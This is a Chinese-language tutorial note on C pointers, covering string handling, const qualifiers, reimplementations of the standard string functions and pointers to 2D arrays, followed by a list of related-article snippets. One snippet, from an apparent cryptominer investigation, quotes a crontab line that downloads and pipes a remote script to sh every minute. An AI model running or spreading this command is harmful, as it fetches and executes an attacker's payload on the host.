C语言---指针part2
指针操作 一维 字符数组
1. 字符型数组 --- 存放字符串的
char s[] = "hello";
['h' ] <---0x1000
['e' ]
['l' ]
['l' ]
['o' ]
['\0']
//谁能这块空间的地址 --- 数组名
s --->怎么能保存s所代表的地址值
//s数组名 --- 数组首元素的地址 &s[0]
--->地址的类型
char *
char *p = s; //指针变量p 指向了 s (数组)
int puts(const char *s);
注意:
char s[] = "hello"; //s的空间开在 栈上
char *s1 = "hello"; //s1的空间开在栈上,但是s1指向的"字符串常量"
//存放"字符串常量区"
*s1 = *s1 - 32; //不能做 ? 原因是 s1 指向的数据是在 字符串常量区
//常量区的数据不能修改
const int a = 10; //a成了只读变量
const char * s1 = "hello"; //表示 将 *s1 限定为只读
//如果,不希望修改 *s1 的数据
//一般 建议加上const
char * const s1 = "hello"; //const 离谁近,就是限定谁的
char const *s1 = "hello"; //此时 还是 *s1 不能被修改
int *p; //int 代表基类型
//p 本身
char const * const s1 = "hello"; // *s1 和 s1 本身都不能被修改
总结:
1.const 离谁近,就限定谁
2.const 修饰的变量,为只读变量 //变量还是变量 只是成了只读的
实现:
int Puts(char *s)
{
*s = 'a'; //编译时,不报错
}
int Puts(const char *s)
{
*s = 'a'; //编译时,就会报错
}
const char *s // *s 这种方式修改不了数据
形参设计:
什么时候需要加const
1.如果函数内部本身不需要通过*s 修改外面的数据
此时,建议 统统加上const
好处:
1.可以将 错误提前 到 编译时 发现
2.提高了参数的适用性
可以接收数组名
也可以接收 字符串常量 //const char *
练习:
strlen
int Strlen(const char *s)
{
}
size_t Strlen(const char *s)
{
}
练习:
Strcpy(char *dest,const char *src)
char *Strcpy(char *dest, const char *src)
{
char *ret = dest;
...拷贝过程
return ret;
}
返回值:
成功 表示的是dest的首地址
返回值设计成char * 是为了实现 字符串链式操作
char *strncpy(char *dest, const char *src, size_t n);
功能
将src中的前n个字节拷贝到 dest中
注意:
src 长度 > n 此时将前n个字节拷过去,此时dest也不会拷过去'\0'
src 长度 < n 此时将src拷贝完成后,继续拷贝(添加的是'\0')直到完成了n次拷贝
char * Strncpy(char *dest,const char *src, size_t n)
{
//这个函数,拷贝过程,n来控制
}
char src[] = "hello";
strncpy(dest,src,10); //
练习:
strcat
char *strcat(char *dest, const char *src);
功能:
拼接字符串
实现: //返回值 表示的是dest 存放字符串的空间的首地址
char *Strcat(char *dest, const char *src)
{
char *ret =dest;
//1.先定位到 dest 的 '\0'的位置
//2.从dest的 '\0'位置开始,拷贝字符串
//3.最终dest中 需要有 '\0'结束标志
return ret;
}
char *strncat(char *dest, const char *src, size_t n)
功能:
将 src中的前 n 个字符拷贝过去
注意:
始终保证 dest中是一个字符串 ('\0')结束标志的
//使用时,需要确保dest空间足够
char * Strncat (char *dest, const char *src, size_t n)
{
char *ret =dest;
//1.先定位到 dest 的 '\0'的位置
//2.从dest的 '\0'位置开始,拷贝字符串 //受到n的控制
//3.最终dest中 需要有 '\0'结束标志
return ret;
}
-----------------------------------------
Strcmp(const char *s1,const char *s2)
int Strcmp(const char *s1, const char *s2)
{
功能:
从左到右,逐个字符比较
遇到不同的字符时结束 或者 遇到 '\0'
返回 最终不同的字符的差值
}
int strncmp(const char *s1, const char *s2, size_t n);
strncmp("hello","helloa",3); //
int Strncmp(const char *s1, const char *s2, size_t n)
{
功能:
从左到右,逐个字符比较
遇到不同的字符时结束 或者 遇到 '\0' n个比完也停
返回 最终不同的字符的差值
}
----------------------------------------------------------
总结:
指针操作一维数组
思路,
通过指针变量 获得数组所在空间的地址
int a[10];
int *p = a;
*(p+i) <=> a[i]
函数实现的
printArray(int *a,int len)
{
}
Puts(const char *s)
{
}
---------------------------
指针 操作 二维数组
int a[3][4] = {1,2,3,4,5,6,7,8,9};
a 还是首元素的地址
a[0]
a[0][0]
int[4] a[3]; //a数组名 -- &a[0]
a<=>&a[0] //值的角度
a[0] //数据类型 int[4]
&a[0] //int[4] * 指针类型
//标准C语法: int (*)[4]
定义变量:
int (*p)[4]; //数组指针
//基类型 int[4]这种类型 ---数组类型
*p //等价与 a[0]
//相当于是 int[4] 这个一维数组的数组名
*(*(p+0)+0) <=> a[0][0]
*(*(p+i)+j) <=> a[i][j]
相关文章:
C语言---指针part2
指针操作 一维 字符数组 1. 字符型数组 --- 存放字符串的 char s[] "hello"; [h ] <---0x1000 [e ] [l ] [l ] [o ] [\0] //谁能这块空间的地址 --- 数组名 s --->怎么能保存s所代表的地址值 //s数组名 --- 数组首元素的地址 &s[0] --->地…...
DNS域名
DNS域名 DNS是域名系统的简称 域名和ip地址之间的映射关系 互联网中,ip地址是通信的唯一标识 访问网站,域名,ip地址不好记,域名朗朗上口,好记。 域名解析的目的就是为了实现,访问域名就等于访问ip地址…...
19 - 查询结果的质量和占比(高频 SQL 50 题基础版)
19 - 查询结果的质量和占比 -- round(avg(rating<3)*100,2)round(avg(if(rating<3,1,0))*100,2) select query_name,round(avg(rating/position),2) quality,round(avg(if(rating<3,1,0))*100,2) poor_query_percentage fromQueries group byquery_name;...
一次挖矿病毒的排查过程
目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务: * * * * * wget -q -O - http://1…...
【JMeter接口测试工具】第二节.JMeter基本功能介绍(上)【入门篇】
文章目录 前言一、获取所有学院信息接口执行二、线程组的介绍 2.1 并发和顺序执行 2.2 优先和最后执行线程组 2.3 线程组的设置细节三、HTTP请求的介绍四、查看结果树的配置使用总结 前言 一、获取所有学院信息接口执行 我们先针对一条简单的接口进行执行&#…...
ultralytics solutions快速解决方案,快速实现某些场景的图像解决方案
参考: https://docs.ultralytics.com/solutions/ 在不断更新,已经有一些场景的解决方案 ultralytics 8.2.27 一、区域统计 1、自定义区域统计数量 https://docs.ultralytics.com/guides/region-counting/ 1、自定义画框,比如矩形框四个点的坐标获取 通过cv2点击图片获…...
iphone突然黑屏?3种方法解决问题!
iphone突然黑屏这应该是出现了iOS系统故障。一般来说,无摔落、浸水等情况造成设备出现硬件问题,多半是设备出现了系统故障。 虽然苹果iOS系统性能是较优的,但还是可能因各种使用情况出现不一样的iOS系统问题,包括升级、越狱、安装…...
nn.GRU和nn.GRUCell区别
nn.GRU和nn.GRUCell在PyTorch中都是用于实现门控循环单元(Gated Recurrent Unit, GRU)的模块,但它们之间存在一些区别: 输入维度: nn.GRU是一个完整的GRU层,它接受一个3D输入张量(batch_size, seq_length, input_size),输出也是一个3D张量(batch_size, seq_length, hidden_si…...
Coolmuster Android助手评测:简化Android到电脑的联系人传输
产品概述 Coolmuster Android助手是一款旨在简化Android设备与计算机之间数据管理和传输过程的全面工具。它以用户友好的界面和全面的功能,成为寻求高效数据管理解决方案的Android用户的热门选择。 主要特点和功能Coolmuster Android助手拥有一系列使其成为管理Andr…...
【杂记-webshell恶意脚本木马】
一、webshell概述及分类 概述 webshell,通常作为web应用管理工具,运维人员可以通过 webshell (服务器管理工具)针对 web 服务器进行日常的运维管理以及系统上线更新等,攻击者也可以通过 webshell (后门程序…...
锻炼 精读笔记 01
元数据 [!abstract] 锻炼 书名: 锻炼作者: 丹尼尔利伯曼简介: 我们是为休息而生,还是为跑而生? 跑步会毁了你的膝盖吗? 哪种运动项目蕞适合我? 懒惰是不正常的行为吗? 每晚都需要睡够 8 个小时…...
基于pytorch的车牌识别
🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 一、导入数据 from torchvision.transforms import transforms from torch.utils.data import DataLoader from torchvision import datase…...
红酒:如何避免红酒过度氧化
红酒过度氧化是影响其品质的重要因素,尤其是在储存和运输过程中。过度氧化的红酒会失去原有的果香和口感,变得平淡无味。因此,避免红酒过度氧化至关重要。以下是一些进一步的措施,可以帮助您保护云仓酒庄雷盛红酒的品质࿱…...
FreeRTOS学习笔记-基于stm32(9)信号量总结(二值信号量、计数型信号量、互斥信号量、优先级翻转、优先级继承)
一、什么是信号量 信号量是一种队列,用于任务间同步和资源管理的机制,主要用来传递状态。就像是一种特殊的“旗子”或“钥匙”,用来在不同的任务之间进行沟通和协调,确保它们能够正确地配合工作,不会互相干扰。 二、二…...
归并排序——二路归并排序
目录 1、简述 2、复杂度 3、稳定性 4、例子 1、简述 二路归并排序(Merge Sort)是一种基于分治法的排序算法,通过将数组递归地拆分成两部分,分别排序后再合并,从而实现整个数组的有序。二路归并排序具有稳定性和高…...
java-StringBuilder
StringBuilder 是 Java 中一个重要的类,它提供了可变的字符序列,可以用来高效地执行字符串操作,如拼接、替换和删除等。在 Java 编程中,字符串操作是非常常见的,而 StringBuilder 类为我们提供了简单、高效的方式来完成…...
数据结构 | 超详细讲解七大排序(C语言实现,含动图,多方法!)
目录 编辑 排序的概念 常见排序算法 编辑 1.冒泡排序 🍹图解 🥳代码实现 🤔时间复杂度 2.插入排序 🍹图解 🌴深度剖析 🍎代码思路 🥳代码实现 🤔时间复杂度 3.希尔…...
企业自建邮件系统的优势,安全性更高,功能更灵活,维护更便捷
在当今企业信息管理的浪潮中,企业邮件系统显得尤为关键,它不仅加强了内部的沟通效率,还对外展示了企业的专业形象。然而,传统租用企业邮箱服务存在一些不足,如缺乏灵活性、数据管理混乱和难以实现个性化需求࿰…...
Softing工业助力微软解锁工业数据,推动AI技术在工业领域的发展
一 概览 Softing作为全球先进工业通信解决方案供应商之一,与微软合作共同推出了众多工业边缘产品,以实现工业应用中OT和IT的连接。这些产品可在基于微软Azure云平台的IIoT解决方案中轻松集成和运行,并为AI解锁工业数据,还可通过A…...
企微自动化机器人的应用与前景
一、引言 随着信息技术的飞速发展,企业对于提高内部运营效率、降低人力成本的需求日益迫切。在这样的背景下,企微自动化机器人应运而生,以其高效、便捷的特点,迅速成为企业内部的得力助手。本文将深入探讨企微自动化机器人的应用现…...
基于MPC模型预测的两轮差速移动机器人多种轨迹跟踪控制(带参考文献)
✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…...
数据管理效率低下?MongoDB Compass 重新定义数据库可视化:从入门到精通的非线性学习路径
数据管理效率低下?MongoDB Compass 重新定义数据库可视化:从入门到精通的非线性学习路径 【免费下载链接】compass The GUI for MongoDB. 项目地址: https://gitcode.com/gh_mirrors/com/compass 当你面对命令行中密密麻麻的 MongoDB 数据时&…...
终极指南:使用Docker快速部署WriteGPT AI创作平台
终极指南:使用Docker快速部署WriteGPT AI创作平台 【免费下载链接】WriteGPT 基于开源GPT2.0的初代创作型人工智能 | 可扩展、可进化 项目地址: https://gitcode.com/gh_mirrors/wri/WriteGPT WriteGPT是一款基于开源GPT-2.0的初代创作型人工智能框架&#x…...
软考高项-第六章-项目管理概论
项目和项目集重点在于正确的做事,项目组合在于做正确的事组织过程资产:过程资产,治理文件,数据资产,知识资产,安保和安全事业环境因素:市场条件,社会和文化影响因素,监管…...
【架构师通关】理发店排队 + 车库停车,大白话秒懂“进程状态模型”与“PV操作
兄弟们,操作系统的进程管理一直是软考里最让人头疼的“硬骨头” 🦴。什么“阻塞”、“挂起”、“信号量”、“PV操作”,听着就像天书 📚。 但今天,飞哥绝不跟你拽学术名词!咱们就通过“去理发店剪个头” &a…...
万象视界灵坛实战教程:构建语义搜索API供前端React/Vue应用调用
万象视界灵坛实战教程:构建语义搜索API供前端React/Vue应用调用 1. 项目概述与核心价值 万象视界灵坛是一款基于OpenAI CLIP模型的高级多模态智能感知平台,它将复杂的语义对齐技术转化为直观的视觉体验。本教程将指导开发者如何将其强大的语义搜索能力…...
抖音批量下载工具终极指南:如何免费快速获取无水印视频素材
抖音批量下载工具终极指南:如何免费快速获取无水印视频素材 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback …...
Visual C++运行库全解析:从问题诊断到高效部署的完整指南
Visual C运行库全解析:从问题诊断到高效部署的完整指南 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 问题诊断:运行库故障的典型表现与…...
MindSpore 环境配置完全指南
1 安装与初始化 # 全局安装 OpenSpec npm install -g fission-ai/openspeclatest # 在项目目录下初始化 cd /path/to/your-project openspec init 初始化时,OpenSpec 会提示你选择使用的 AI 工具(Claude Code、Cursor、Trae、Qoder 等)。 3 O…...
MSF(etasploit Framework)工具使用与实战
MSF工具介绍工具简介全称Metasploit Framework,是漏洞研究、渗透测试、漏洞验证的一体化平台,主要有以下五大核心模块: Auxiliary(辅助模块):漏洞扫描、信息收集、端口扫描、服务探测(无攻击载荷…...
